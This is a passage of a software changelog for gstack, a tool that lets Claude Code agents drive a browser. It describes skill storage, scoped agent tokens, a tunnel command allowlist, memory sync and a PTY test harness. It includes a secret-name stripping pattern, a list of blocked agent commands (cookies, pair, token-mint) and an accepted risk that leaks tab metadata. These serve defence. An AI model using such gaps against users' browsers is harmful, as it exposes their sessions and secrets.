- `browse/src/browser-skills.ts`. Three-tier storage helpers. `listBrowserSkills()` walks project > global > bundled (first-wins), parses SKILL.md frontmatter, no INDEX.json. `readBrowserSkill(name)` does the same for a single name. `tombstoneBrowserSkill(name, tier)` moves a skill into `.tombstones/<name>-<ts>/` for recoverability.
- `browse/src/skill-token.ts`. Wraps `token-registry.createToken/revokeToken` with skill-specific clientId encoding (`skill:<name>:<spawn-id>`), read+write defaults, and `tabPolicy: 'shared'`. TTL = spawn timeout + 30s slack.
- `browser-skills/hackernews-frontpage/`. Bundled reference skill (SKILL.md, script.ts, _lib/browse-client.ts, fixtures/hn-2026-04-26.html, script.test.ts). Smallest interesting browser-skill: scrapes HN front page, returns 30 stories as JSON, no auth, stable HTML.

#### Added — `/scrape` + `/skillify` gstack skills

- `scrape/SKILL.md.tmpl` + generated `scrape/SKILL.md`. `/scrape <intent>` is one entry point with three paths: match (intent matches an existing skill's `triggers:` → `$B skill run <name>` in 200ms), prototype (drive `$B` primitives, return JSON, suggest `/skillify`), refusal (mutating intents route to `/automate`). Match decision lives in the agent, not the daemon, no new code in `browse/src/`, no expanded daemon command surface.
- `skillify/SKILL.md.tmpl` + generated `skillify/SKILL.md`. 11-step flow: provenance guard (walk back ≤10 turns for a bounded `/scrape` result, refuse if cold), name + tier + trigger proposal via `AskUserQuestion`, synthesize `script.ts` from final-attempt `$B` calls only, capture fixture, write `script.test.ts`, copy canonical SDK byte-identical to `_lib/browse-client.ts`, write SKILL.md frontmatter (`source: agent`, `trusted: false`), stage to temp dir, run `$B skill test`, approval gate, atomic rename to final tier path.
- `browse/src/browser-skill-write.ts`. Atomic-write helper. `stageSkill()` writes files to `~/.gstack/.tmp/skillify-<spawnId>/<name>/` with restrictive perms. `commitSkill()` does an atomic `fs.renameSync` into the final tier path with `realpath`/`lstat` discipline (refuses to follow symlinked staging dirs, refuses to clobber existing skills). `discardStaged()` is the cleanup path for test failures and approval rejections. `rm -rf` is idempotent and bounded to the per-spawn wrapper. `validateSkillName()` enforces lowercase letters/digits/dashes only, no `..` or path-escape characters.

#### Trust model — scoped tokens

Every spawned skill gets its own scoped token. The shape:

- **Capability scope.** Read + write only by default. No `eval`, `js`, `cookies`, `storage`. Single-use clientId encodes skill name + spawn id. Revoked when the spawn exits or times out (TTL = timeout + 30s slack).
- **Process env.** `trusted: true` frontmatter passes `process.env` minus `GSTACK_TOKEN`. `trusted: false` (default) drops everything except a minimal allowlist (LANG, LC_ALL, TERM, TZ) and pattern-strips secrets (TOKEN/KEY/SECRET/PASSWORD/AWS_*/ANTHROPIC_*/OPENAI_*/GITHUB_*).
- **Tab access policy.** `tabPolicy: 'shared'` (skill spawns, default scoped clients): permissive, can read or write any tab, gated only by scope checks + rate limits. `tabPolicy: 'own-only'` (pair-agent over the tunnel): strict, the token can only access tabs it owns. The two policies enforce independently in `browser-manager.ts:checkTabAccess`. The capability gate already constrains what shared tokens can do; tab ownership only matters for pair-agent isolation.

#### Changed

- `browse/src/commands.ts` registers `skill` as a META command.
- `browse/src/server.ts` threads the local listen port (`LOCAL_LISTEN_PORT`) to meta-command dispatch so `$B skill run` knows which port to point spawned scripts at. The tab-ownership gate predicate at the dispatcher fires for `tabPolicy === 'own-only'` only; shared tokens skip it.
- `browse/src/browser-manager.ts:checkTabAccess` keys on `options.ownOnly`. Shared tokens and root pass unconditionally; own-only tokens require ownership for every read and write.
- `browse/src/meta-commands.ts` dispatches `skill` to `handleSkillCommand`.
- `BROWSER.md` rewritten to a complete reference: 1,299 lines, 26 sections covering the productivity loop, browser-skills runtime, domain-skills, pair-agent dual-listener, sidebar agent + terminal PTY, security stack L1-L6, full source map.
- `docs/designs/BROWSER_SKILLS_V1.md` adds the design for the productivity loop's four contracts (provenance guard, synthesis input slice, atomic write, full test coverage). Phase table organized into 1, 2a, 2b, 3, 4.
- `TODOS.md` lists `/automate` as P0 above the existing `PACING_UPDATES_V0` entry.

#### Tests

- `browse/test/browser-skill-write.test.ts` — 34 assertions covering the atomic-write contract: stage validation, file-path escape rejection, atomic rename, clobber refusal, symlink refusal, idempotent discard, end-to-end happy + failure paths.
- `browse/test/tab-isolation.test.ts` — 9 assertions on `checkTabAccess` with explicit shared-vs-own-only coverage: shared agents can read/write any tab; own-only agents can only access their own claimed tabs.
- `browse/test/server-auth.test.ts` — source-shape regression that fails if a future refactor reintroduces `WRITE_COMMANDS.has(command) ||` into the tab-ownership gate predicate.
- `test/skill-validation.test.ts` extends to cover bundled browser-skills: each must have SKILL.md + script.ts + _lib/browse-client.ts (byte-identical to canonical) + script.test.ts, with frontmatter satisfying the host/triggers/args contract.
- `test/skill-e2e-skillify.test.ts` — 5 gate-tier E2E scenarios (`claude -p` driven, deterministic against local file:// fixtures): match path routes to bundled skill, prototype path drives `$B` and emits JSON, skillify happy writes complete skill tree, provenance refusal leaves nothing on disk, approval-gate reject removes the temp dir.
- `test/helpers/touchfiles.ts` registers all 5 new E2E entries with deps on `scrape/**`, `skillify/**`, `browse/src/browser-skill-write.ts`, plus the runtime modules.

#### For contributors

- The browser-skill SKILL.md frontmatter has a hard contract enforced by `parseSkillFile()` and `test/skill-validation.test.ts`. Required: `host` (string), `triggers` (string list), `args` (mapping list). Optional: `trusted` (bool, defaults false), `version`, `source` (`human`/`agent`), `description`.
- The canonical SDK at `browse/src/browse-client.ts` and the sibling at `browser-skills/hackernews-frontpage/_lib/browse-client.ts` MUST be byte-identical. The skill-validation test fails the build otherwise. When the canonical SDK changes, update every bundled skill's `_lib/` copy. Agent-authored skills via `/skillify` get a freshly-copied SDK at synthesis time, so they're frozen at the version they were authored against (no drift possible).
- The atomic-write helper enforces "no half-written skills." Always call `stageSkill` → run tests → `commitSkill` (success) OR `discardStaged` (failure). Never write directly to the final tier path. The helper's `validateSkillName` is the only naming gate, keep it tight (lowercase letters/digits/dashes, ≤64 chars, no consecutive dashes, no leading digit).
- `checkTabAccess` policy: `ownOnly` is the only signal that constrains access. `isWrite` stays in the signature for callers that want to log or branch elsewhere, but doesn't gate the decision. Adding new policy axes (e.g., per-skill tab quotas) belongs in `docs/designs/`, not as a sneaky `isWrite` overload.
- `/automate` and the Phase 4 follow-ups (Bun runtime distribution, OS FS sandbox, fixture-staleness detection) are tracked in `docs/designs/BROWSER_SKILLS_V1.md` and `TODOS.md`. The `/automate` skill reuses `/skillify` and `browser-skill-write.ts` as-is; new code is the per-mutating-step confirmation gate.

## [1.17.0.0] - 2026-04-26

## **Your gstack memory now actually lives in gbrain.**

For everyone who ran `/setup-gbrain` in the last month and noticed `gbrain search` couldn't find their CEO plans, learnings, or retros: that's because Step 7 wrote a placeholder `consumers.json` with `status: "pending"` and called it done. The HTTP endpoint that placeholder pointed at was never built on the gbrain side. This release scraps that approach and uses the gbrain v0.18.0 federation surface (`gbrain sources` + `gbrain sync`) instead.

After upgrading, `/setup-gbrain` adds a `git worktree` of your brain repo, registers it as a federated source on your gbrain (Supabase or PGLite), and runs an initial sync. Subsequent gstack skill end-of-run cycles also run `gbrain sync` so new artifacts land in the index automatically. Local-Mac only. No cloud agent required. `/gstack-upgrade` runs a one-shot migration for existing users.

### Verify after upgrade

```bash
gbrain sources list --json | jq '.sources[] | {id, page_count, federated}'
# Expect: two entries, your default brain plus a "gstack-brain-{user}"
# entry, both federated=true.

gbrain search "ethos" --source gstack-brain-{user} | head -5
# Expect: hits from your gstack repo content (readme, ethos, designs, etc).
```

### What shipped

`bin/gstack-gbrain-source-wireup` is the new helper. It derives a per-user source id from `~/.gstack/.git`'s origin URL (with multi-fallback to `~/.gstack-brain-remote.txt` and a `--source-id` flag), creates a detached `git worktree` at `~/.gstack-brain-worktree/`, registers it as a federated source on gbrain, runs initial backfill, and supports `--strict` (Step 7 strictness), `--uninstall` (full teardown including future-launchd plist), and `--probe` (read-only state inspection). All idempotent. The helper depends on `jq` (transitive via `gstack-gbrain-detect`).

The helper locks the database URL at startup (precedence: `--database-url` flag > `GBRAIN_DATABASE_URL`/`DATABASE_URL` env > read once from `~/.gbrain/config.json`) and exports it as `GBRAIN_DATABASE_URL` for every child `gbrain` invocation. This means external rewrites of `~/.gbrain/config.json` mid-sync (e.g., a concurrent `gbrain init --non-interactive` running in another workspace) cannot redirect the wireup at a different brain. Per gbrain's `loadConfig()`, env-var URLs override the file. Step 7 of `/setup-gbrain` reads the URL out of `config.json` once and passes it explicitly via `--database-url`, so the wireup is robust against config flips during the seconds-to-minutes sync window.

`/setup-gbrain` Step 7 now invokes the helper with `--strict` after `gstack-brain-init`. `/gstack-upgrade` invokes the helper without `--strict` via `gstack-upgrade/migrations/v1.12.3.0.sh` so missing/old gbrain is a benign skip during batch upgrade. `bin/gstack-brain-restore` invokes the helper after the initial clone so a 2nd Mac gets the wireup automatically. `bin/gstack-brain-uninstall` invokes `--uninstall` plus removes legacy `consumers.json`.

`bin/gstack-brain-init` drops 60 lines of dead consumer-registration code (the HTTP POST block, the `consumers.json` writer, the chore commit). `bin/gstack-brain-restore` drops the 18-line `consumers.json` token-rehydration block (the only consumer that used it never had real tokens). `bin/gstack-brain-consumer` is marked deprecated in its header docstring; removal in v1.18.0.0 after one cycle of grace.

`test/gstack-gbrain-source-wireup.test.ts` is new: 13 unit tests with a fake `gbrain` binary on `$PATH` covering fresh-state registration, idempotent re-runs, drift recovery (gbrain has no `sources update`, only `remove + add`), `--strict` failure modes, source-id fallback chain (`.git` → remote-file → flag), `--probe` non-mutation, sync errors, and `--uninstall`.

### The numbers that matter

These are reproducible on any machine after upgrade. Run the verify commands above to see your own delta.

| Metric | Before (v1.16.0.0) | After (v1.17.0.0) |
|---|---|---|
| `gbrain sources list` size | 1 (default `/data/brain`) | 2 (default + `gstack-brain-{user}`) |
| `consumers.json` status | `"pending"`, ingest_url `""` | file deleted from new installs |
| Manual steps to wire up | 4 (clone + sources add + sync + cron) | 0, automatic in Step 7 |
| Helper test coverage | 0 unit tests | 13 unit tests (`bun test test/gstack-gbrain-source-wireup.test.ts`) |
| `bin/gstack-brain-init` size | 363 lines | 300 lines (60 lines of dead code removed) |

Local Mac is the producer of artifacts and the worktree advances automatically with `~/.gstack/`'s commits. Cross-machine sync runs through GitHub via the existing `gstack-brain-sync --once` push hook. No new cron infrastructure needed today; when gbrain v0.21 code-graph features ship, the helper's `--enable-cron` flag is a clean extension.

### What this means for builders

Your gstack memory is searchable now. Run a CEO plan review or office-hours session, sync runs at skill-end automatically, and `gbrain search` finds the plan content from any gbrain client (this Claude Code session, future Macs, optional cloud agents like OpenClaw). One source of truth across machines. The placeholder is dead.

### For contributors

- `bin/gstack-brain-consumer` is deprecated in this release; removal in v1.18.0.0.
- The `gbrain_url` and `gbrain_token` config keys are now no-ops. They remain readable for one cycle for back-compat, removed in v1.18.0.0.
- Three pre-existing test failures on this branch (`gstack-config gbrain keys > GSTACK_HOME overrides real config dir`, `no compiled binaries in git > git tracks no files larger than 2MB`, `Opus 4.7 overlay — pacing directive`) were verified to fail on the base branch too. Out of scope for this PR; flagged for a follow-up.

## [1.16.0.0] - 2026-04-28

## **Paired-agent tunnel allowlist now matches what the docs already promised. Catch-22 resolved, gate is unit-testable.**

The visible bug: a paired remote agent over the ngrok tunnel hit 403s on `newtab`, `tabs`, `goto-on-existing-tab`, and a chain of other commands the operator docs claimed worked. The hidden bug: the v1.6.0.0 `TUNNEL_COMMANDS` allowlist was set at 17 entries while `docs/REMOTE_BROWSER_ACCESS.md`, `browse/src/cli.ts:546-586`, and the operator-facing instruction blocks all documented 26. The shipped allowlist drifted from the design intent silently for releases. This release closes the gap: 9 commands added (`newtab`, `tabs`, `back`, `forward`, `reload`, `snapshot`, `fill`, `url`, `closetab`), each bounded by the existing per-tab ownership check at `server.ts:613-624`. Scoped tokens default to `tabPolicy: 'own-only'`, so a paired agent still can't navigate, fill, or close on tabs it doesn't own — same isolation as before, just covering more verbs.

### The numbers that matter

Branch totals come from `git diff --shortstat origin/main..HEAD`. Test counts come from `bun test browse/test/dual-listener.test.ts browse/test/tunnel-gate-unit.test.ts browse/test/pair-agent-tunnel-eval.test.ts browse/test/pair-agent-e2e.test.ts` against the merged tree.

| Metric | Δ |
|---|---|
| Tunnel allowlist size | **17 → 26 commands** (+53%) |
| Catch-22 resolution | `newtab` → `goto` → `back` chain works for the first time |
| Gate testability | inline regex check → **pure exported `canDispatchOverTunnel()`** function |
| New unit-test coverage | **53 expects** in `tunnel-gate-unit.test.ts` (allowed, blocked, null/undefined/non-string, alias canonicalization) |
| New behavioral coverage | **4 tests** in `pair-agent-tunnel-eval.test.ts` running BOTH listeners locally (no ngrok) |
| Source-level guard | exact-set equality against the 26-command literal + ownership-exemption regex |
| All free tests | **69 pass / 0 fail** on the four touched test files |
| Codex review passes | **2 outside-voice rounds** during plan mode, 6 of 7 findings incorporated |

### What this means for users running paired agents

Three things change immediately. **First**, paired agents can actually open and drive their own tab without hitting the catch-22 the prior allowlist created. `newtab` succeeds (the ownership-exemption at `server.ts:613` was always there, but the allowlist gated the entry); `goto`, `back`, `forward`, `reload`, `fill`, `closetab` all work on the just-created tab; `snapshot`, `url`, `tabs` give the agent the read-side surface needed to be useful. **Second**, the tunnel-surface gate is unit-testable now — `canDispatchOverTunnel(command)` is pure, exported from `browse/src/server.ts`, and covered by 53 expects. A future refactor that decouples the allowlist literal from the gate logic fails a free test in milliseconds. **Third**, `pair-agent-tunnel-eval.test.ts` exercises the gate end-to-end with BOTH the local and tunnel listeners bound on 127.0.0.1 (no ngrok required) so the routing decision — "this request hit the tunnel listener, run the gate; this one hit the local listener, skip the gate" — is asserted on every PR. The new `BROWSE_TUNNEL_LOCAL_ONLY=1` env var binds the second listener locally without invoking ngrok, gated to no-op outside test mode. Production tunnel still requires `BROWSE_TUNNEL=1` + a valid `NGROK_AUTHTOKEN`.

### Itemized changes

#### Added

- 9 new commands in `browse/src/server.ts:111-120` `TUNNEL_COMMANDS` set: `newtab`, `tabs`, `back`, `forward`, `reload`, `snapshot`, `fill`, `url`, `closetab`. The set is now exported so tests can reference the literal directly.
- `canDispatchOverTunnel(command: string | undefined | null): boolean` in `browse/src/server.ts` — pure exported function. Handles non-string input, runs `canonicalizeCommand` for alias resolution, returns `TUNNEL_COMMANDS.has(canonical)`.
- `BROWSE_TUNNEL_LOCAL_ONLY=1` env var in `browse/src/server.ts:2080-2104`. Test-only sibling branch to `BROWSE_TUNNEL=1` that binds the second `Bun.serve` listener via `makeFetchHandler('tunnel')` without invoking ngrok. Persists `tunnelLocalPort` to the state file for the eval to read.
- `browse/test/tunnel-gate-unit.test.ts`: 53 expects covering all 26 allowed commands, 20 blocked commands (pair, unpair, cookies, setup, launch, restart, stop, tunnel-start, token-mint, etc.), null/undefined/empty/non-string defensive handling, and alias canonicalization (e.g. `set-content` resolves to `load-html` and is correctly rejected since `load-html` isn't tunnel-allowed).
- `browse/test/pair-agent-tunnel-eval.test.ts`: 4 behavioral tests that spawn the daemon under `BROWSE_HEADLESS_SKIP=1 BROWSE_TUNNEL_LOCAL_ONLY=1`, bind both listeners on 127.0.0.1, mint a scoped token via the existing `/pair` → `/connect` ceremony, and assert: (1) `newtab` over the tunnel passes the gate; (2) `pair` over the tunnel 403s with `disallowed_command:pair` AND writes a fresh denial-log entry to `~/.gstack/security/attempts.jsonl`; (3) `pair` over the local listener does NOT trigger the tunnel gate; (4) regression test for the catch-22 — `newtab` followed by `goto` on the resulting tab does not 403 with `Tab not owned by your agent`.

#### Changed

- `browse/test/dual-listener.test.ts`: must-include + must-exclude assertions replaced with one exact-set-equality test against the 26-command literal. The intersection-only style of the prior tests let new commands sneak into the source without a corresponding test update — the bidirectional check catches it both ways. Added a regex assertion that the `command !== 'newtab'` ownership-exemption clause at `server.ts:613` still exists (catches refactors that re-introduce the catch-22 from the other side).
- `browse/test/dual-listener.test.ts`: `/command` handler test updated to assert the inline `TUNNEL_COMMANDS.has(cmd)` check is now `canDispatchOverTunnel(body?.command)` — proves the gate is delegated to the pure function and not duplicated.
- `docs/REMOTE_BROWSER_ACCESS.md:35,168`: bumped "17-command allowlist" to "26-command allowlist". Corrected the denied-commands list (removed `eval`, which IS in the allowlist; the prior doc was wrong).
- `CLAUDE.md`: bumped the transport-layer security section's "17-command browser-driving allowlist" reference to "26-command".

#### For contributors

- The plan was reviewed under `/plan-eng-review` plus 2 sequential codex outside-voice passes during plan mode. Round-1 codex caught a doc-target mistake (we were going to update `SIDEBAR_MESSAGE_FLOW.md` instead of `REMOTE_BROWSER_ACCESS.md`) and a wrong-layer test design. Round-2 codex caught that the round-1 correction was still wrong (the chosen test harness only binds the local listener) AND that the docs promised 6 more commands than the allowlist had. All 6 of 7 substantive findings landed in the implementation; the 7th (a pre-existing `/pair-agent` `/health` probe mismatch at `cli.ts:656-668`) is logged as out of scope.
- One known accepted risk: `tabs` over the tunnel returns metadata for ALL tabs in the browser, not just tabs the agent owns. The user authored the trust relationship when they paired the agent, the agent already can't read CONTENT of unowned tabs (write commands blocked, the active tab can't be switched without a `tab <id>` command that's NOT in the allowlist), and tab IDs already leak via the 403 `hint` field on disallowed `goto`. Codex noted that tightening this requires touching the ownership gate itself (the gate falls back to `getActiveTabId()` BEFORE dispatch in `server.ts:603-614`), which is materially out of scope for a catch-22 fix. Logged in the plan failure-mode table as accepted.

## [1.15.0.0] - 2026-04-26

## **Real-PTY test harness ships. 11 plan-mode E2E tests, 23 unit tests, and 50K fewer tokens per invocation.**

Two big pieces of engineering in one release. The headline is a real-PTY test harness — 654 lines of TypeScript on top of `Bun.spawn({terminal:})` — that drives the actual `claude` binary and parses rendered terminal frames. Six new E2E tests on the harness cover behaviors that were structurally unreachable before: format compliance for every gstack `AskUserQuestion`, plan-design UI-scope detection (positive coverage), tool-budget regression vs prior runs, `/ship` end-to-end idempotency against a real git fixture, `/plan-ceo` answer-routing, and `/autoplan` phase sequencing. The branch nets ~11.6K lines smaller against `main` while adding ~1,450 lines of new TypeScript test code — preamble resolvers were rewritten to keep every semantic rule in less prose, and the test surface that catches AskUserQuestion drift expanded from zero to gate-tier on every PR.

### The numbers that matter

Branch totals come from `git diff --shortstat origin/main..HEAD`. Token-level reduction comes from regenerating every `SKILL.md` against the rewritten resolvers (`bun run gen:skill-docs --host all`). E2E numbers come from `EVALS=1 EVALS_TIER=gate bun test test/skill-e2e-*.test.ts` on a clean working tree.

| Metric | Δ |
|---|---|
| Net branch size vs `main` | **−11,609 lines** (89 files, +7,240 / −18,849) |

Every gstack invocation now sends ~50K fewer tokens to the model on cold reads — that's roughly a quarter of a typical 200K context window freed up for actual work. Tier-≥3 plan reviews keep their full functional surface (Brain Sync, Context Recovery, Routing Injection) and still lose almost half the bytes.

### What this means for builders

Three new classes of regression that were previously impossible to catch now block every PR. **Format drift**: a missing `Recommendation:` line or absent Pros/Cons bullet on an `AskUserQuestion` is caught against the real rendered terminal — not the model's claim about what it would have shown. **Conditional skill paths**: `/plan-design-review` had to early-exit when there's no UI scope, but until this release nothing tested the *positive* path; a regression that flipped the detector to "early-exit always" could have shipped silently. **Tool-budget regressions**: a preamble change that makes any skill burn 2× its prior tool calls fails a free, branch-scoped assertion that runs on every `bun test`.

The harness itself is a reusable primitive. `runPlanSkillObservation()` watches plan-mode terminal output and classifies outcomes as `asked` / `plan_ready` / `silent_write` / `exited` / `timeout`. Three periodic-tier tests built on top of it cover the heavier cases — multi-phase chain ordering, ship idempotency state-machine end-to-end, and answer routing through 8-12 sequential prompts — that don't fit a per-PR budget but run weekly. Pull, run `bun run gen:skill-docs --host all`, and every skill invocation is meaningfully smaller and meaningfully better-tested than the prior release.

### Itemized changes

#### Added

- `test/helpers/claude-pty-runner.ts`: real-PTY test harness using `Bun.spawn({terminal:})` (Bun 1.3.10+ has built-in PTY — no `node-pty`, no native modules). Exposes `launchClaudePty()` for raw session control and `runPlanSkillObservation()` as the high-level contract for plan-mode skill tests.
- `parseNumberedOptions(visible)` and `isPermissionDialogVisible(visible)` helpers in `claude-pty-runner.ts`. Tests can now look up an option index by its label without hard-coding positions, and auto-grant Claude Code's file-edit / workspace-trust / bash-permission dialogs that fire during preamble side-effects.
- `findBudgetRegressions()` and `assertNoBudgetRegression()` in `test/helpers/eval-store.ts`. Pure functions returning tests that grew >2× in tools or turns vs the prior eval run, with floors at 5 prior tools / 3 prior turns to avoid noise. Env override `GSTACK_BUDGET_RATIO`.
- 6 new real-PTY E2E tests on the harness:
    - `skill-e2e-ask-user-question-format-compliance.test.ts` (gate, ~$0.50/run): asserts every gstack `AskUserQuestion` rendering contains the 7 mandated format elements (ELI10, Recommendation, Pros/Cons with ✅/❌, Net, `(recommended)` label).
    - `skill-e2e-plan-design-with-ui.test.ts` (gate, ~$0.80/run): positive coverage for `/plan-design-review` UI-scope detection. Counterpart to the existing no-UI early-exit test — without it, a regression that flips the detector to "early-exit always" would ship undetected.
    - `skill-budget-regression.test.ts` (gate, free): branch-scoped library-only assertion that no skill burns >2× tools or turns vs its prior recorded run.
    - `skill-e2e-plan-ceo-mode-routing.test.ts` (periodic, ~$3/run): verifies AskUserQuestion answer routing — HOLD SCOPE picks routes to rigor language, SCOPE EXPANSION picks route to expansion language.
    - `skill-e2e-ship-idempotency.test.ts` (periodic, ~$3/run): runs `/ship` end-to-end against a real git fixture with `STATE: ALREADY_BUMPED` baked in; asserts no double-bump, no double-commit, no fixture mutation.
    - `skill-e2e-autoplan-chain.test.ts` (periodic, ~$8/run): asserts `/autoplan` phase ordering by tee'ing timestamps as each `**Phase N complete.**` marker appears.
- `test/helpers-unit.test.ts`: 23 unit tests covering `parseNumberedOptions` edge cases (empty, partial paint, >9 options, stale-vs-fresh anchoring) and `findBudgetRegressions` (noise floor, env override, missing tool data).
- `test/fixtures/plans/ui-heavy-feature.md`: planted plan with explicit UI scope keywords for the new design-with-UI test.
- Auto-handling of the workspace-trust dialog so tests run in temp directories without manual intervention.
- Outcome contract: `asked` | `plan_ready` | `silent_write` | `exited` | `timeout`. Tests pass on `asked` or `plan_ready`, fail on the rest.

#### Changed

- 18 preamble resolvers compressed: `generate-ask-user-format.ts`, `generate-brain-sync-block.ts`, `generate-completeness-section.ts`, `generate-completion-status.ts`, `generate-confusion-protocol.ts`, `generate-context-health.ts`, `generate-context-recovery.ts`, `generate-continuous-checkpoint.ts`, `generate-lake-intro.ts`, `generate-preamble-bash.ts`, `generate-proactive-prompt.ts`, `generate-routing-injection.ts`, `generate-telemetry-prompt.ts`, `generate-upgrade-check.ts`, `generate-vendoring-deprecation.ts`, `generate-voice-directive.ts`, `generate-writing-style-migration.ts`, `generate-writing-style.ts`.
- All 47 generated `SKILL.md` files regenerated; 3 ship golden fixtures regenerated.
- Plan-* skills retain full preamble surface (Brain Sync, Context Recovery, Routing Injection) — the early slim attempt that cut these was reverted after diagnosing them as load-bearing.
- 5 existing plan-mode tests (`plan-ceo`, `plan-eng`, `plan-design`, `plan-devex`, `plan-mode-no-op`) rewritten onto the new harness with a 300s observation budget. All 5 verify-pass under `EVALS=1 EVALS_TIER=gate` against the real `claude` binary in 790s sequential.
- `isNumberedOptionListVisible` regex tolerates whitespace collapse from TTY cursor-positioning escapes (`\x1b[40C`) which `stripAnsi` removes — `\b2\.` was failing on word-to-word transitions where stripped output read `text2.`.

#### Fixed

- `scripts/skill-check.ts`: new `isRepoRootSymlink()` helper so dev installs that mount the repo root at `host/skills/gstack` (e.g., codex's `.agents/skills/gstack`) get skipped instead of double-counted.
- `test/skill-validation.test.ts`: known-large-fixture exemption keeps `browse/test/fixtures/security-bench-haiku-responses.json` (27 MB BrowseSafe-Bench replay fixture, intentional) out of the size warning.

#### Removed

- `test/helpers/plan-mode-helpers.ts`: superseded by `claude-pty-runner.ts`. Zero callers remained after the rewrite.

#### For contributors

- `test/helpers/touchfiles.ts`: 5 plan-mode test selections + e2e-harness-audit selection now point at `claude-pty-runner.ts` instead of the deleted helper. 6 new entries (`ask-user-question-format-pty`, `plan-ceo-mode-routing`, `plan-design-with-ui-scope`, `budget-regression-pty`, `ship-idempotency-pty`, `autoplan-chain-pty`) with tier classifications: 3 gate, 3 periodic.
- `test/e2e-harness-audit.test.ts`: recognizes `runPlanSkillObservation` as a valid coverage path alongside the legacy `canUseTool` / `runPlanModeSkillTest` patterns.
- New unit test: `test/gen-skill-docs.test.ts` asserts plan-review preambles stay under 33 KB and the slim Voice section preserves its load-bearing semantic contract (lead-with-the-point, name-the-file, user-outcome framing, no-corporate, no-AI-vocab, user-sovereignty).
- `test/touchfiles.test.ts`: skill-specific change selection count updated 15 → 18 to match the 6 new touchfile entries that depend on `plan-ceo-review/**`.

## [1.14.0.0] - 2026-04-25

## **The gstack browser sidebar is now an interactive Claude Code REPL with live tab awareness.**

Open the side panel and Claude Code is right there in a real terminal. Type, watch the agent work, switch browser tabs and Claude sees the change. The old one-shot chat queue is gone. Two-way conversation, slash commands, `/resume`, ANSI colors, all of it. Plus a `$B tab-each` command that fans out a single browse command across every open tab and returns per-tab JSON results.

### The numbers that matter

| Metric | Before | After | Δ |
|---|---|---|---|
| Sidebar surfaces | Chat (one-shot `claude -p`) + 3 debug | Terminal (live PTY) + 3 debug | -1 surface, +interactive |
| Subprocesses spawned per session | Many (one per chat message) | One (PTY claude, lazy-spawned) | -N |
| Lines in `extension/sidepanel.js` | 1969 | 1042 | -47% |
| Total diff | — | 27 files, +2875 / -3885 | -1010 net |
| New unit + integration + regression tests | 0 | 56+ | +56 |
| Live `tabs.json` push latency | n/a (no live state) | <50ms after `chrome.tabs` event | new capability |

### What this means for builders

Open the sidebar, type. Real PTY means slash commands, `/resume`, real ANSI rendering, real claude process lifecycle. Switch browser tabs while Claude is running and `<stateDir>/tabs.json` + `active-tab.json` update in place — Claude reads them, no need to ask `$B tabs`. Need to do the same thing on every tab? `$B tab-each <command>` returns a JSON array, original active tab restored when done, no OS focus stealing.

The old chat queue is gone. `sidebar-agent.ts`, `/sidebar-command`, `/sidebar-chat`, `/sidebar-agent/event` all deleted. The Cleanup / Screenshot / Cookies toolbar buttons survive in the Terminal pane — Cleanup pipes its prompt straight into the live PTY via `window.gstackInjectToTerminal()` instead of spawning yet another `claude -p`.

### Itemized changes

#### Added

- **Interactive Terminal sidebar tab.** xterm.js + a non-compiled `terminal-agent.ts` Bun process that spawns claude with `Bun.spawn({terminal: {rows, cols, data}})`. Auto-connects when the side panel opens, no keypress needed.
- **`$B tab-each <command>`** — fan-out helper for multi-tab work. Returns `{command, args, total, results: [{tabId, url, title, status, output}]}`. Skips chrome:// pages, scope-checks the inner command before iterating, restores the original active tab in a `finally` block, never pulls focus away from the user's foreground app.
- **Live tab state files.** `<stateDir>/tabs.json` (full list with id, url, title, active, pinned, audible, windowId) and `<stateDir>/active-tab.json` (current active). Updated atomically on every `chrome.tabs` event (activated, created, removed, URL/title change). Claude reads on demand instead of running `$B tabs`.
- **Tab-awareness system prompt** injected via `claude --append-system-prompt` at spawn so the model knows about the state files and the `$B tab-each` command without being told.
- **Always-visible Restart button** in the Terminal toolbar. Force-restart claude any time, not just from the "session ended" state.

#### Changed
- **Sidebar is Terminal-only.** No more `Terminal | Chat` primary tab nav. Activity / Refs / Inspector still live behind the `debug` toggle in the footer. Quick-actions (🧹 Cleanup / 📸 Screenshot / 🍪 Cookies) moved into the Terminal toolbar.
- **WebSocket auth uses `Sec-WebSocket-Protocol`** instead of cookies. Browsers can't set `Authorization` on WS upgrades, and `SameSite=Strict` cookies don't survive the cross-port jump from server.ts:34567 to the agent's random port from a chrome-extension origin. The token rides on `new WebSocket(url, [`gstack-pty.<token>`])` and the agent echoes the protocol back (Chromium closes connections that don't pick a protocol).
- **Cleanup button now drives the live PTY.** Clicking "🧹 Cleanup" injects the cleanup prompt straight into claude via `window.gstackInjectToTerminal()`. The Inspector "Send to Code" action uses the same path. No more `/sidebar-command` POSTs.
- **Repaint after debug-tab close.** xterm.js doesn't auto-redraw when its container flips from `display: none` back to `display: flex`. A MutationObserver on `#tab-terminal`'s class attribute now forces a `fitAddon.fit() + term.refresh() + resize` push when the pane becomes visible.

#### Removed
- **`browse/src/sidebar-agent.ts`** — the one-shot `claude -p` queue worker. ~900 lines.
- **Server endpoints**: `/sidebar-command`, `/sidebar-chat[/clear]`, `/sidebar-agent/{event,kill,stop}`, `/sidebar-tabs[/switch]`, `/sidebar-session{,/new,/list}`, `/sidebar-queue/dismiss`. ~600 lines.
- **Chat-related state** in server.ts: `ChatEntry`, `SidebarSession`, `TabAgentState`, `pickSidebarModel`, `addChatEntry`, `processAgentEvent`, `killAgent`, the agent-health watchdog, `chatBuffer`, the per-tab agent map.
- **Chat UI in sidepanel.html**: primary-tab nav, `<main id="tab-chat">`, the chat input bar, the experimental "Browser co-pilot" banner, the security event banner, the `clear-chat` footer button.
- **Five obsolete test files**: `sidebar-agent.test.ts`, `sidebar-agent-roundtrip.test.ts`, `security-e2e-fullstack.test.ts`, `security-review-fullstack.test.ts`, `security-review-sidepanel-e2e.test.ts`. Plus 5 chat-only describe blocks inside surviving security tests (loadSession session-ID validation, switchChatTab DocumentFragment, pollChat reentrancy, sidebar-tabs URL sanitization, agent queue security).

#### For contributors
- **`browse/src/pty-session-cookie.ts`** mirrors `sse-session-cookie.ts`. Same TTL, same opportunistic pruning, separate registry (PTY tokens must never be valid as SSE tokens or vice versa).
- **`docs/designs/SIDEBAR_MESSAGE_FLOW.md`** rewritten around the Terminal flow: WebSocket upgrade, dual-token model (`AUTH_TOKEN` for `/pty-session`, `gstack-pty.<token>` for `/ws`, `INTERNAL_TOKEN` for server↔agent loopback), threat-model boundary (Terminal tab bypasses the prompt-injection stack on purpose; user keystrokes are the trust source).
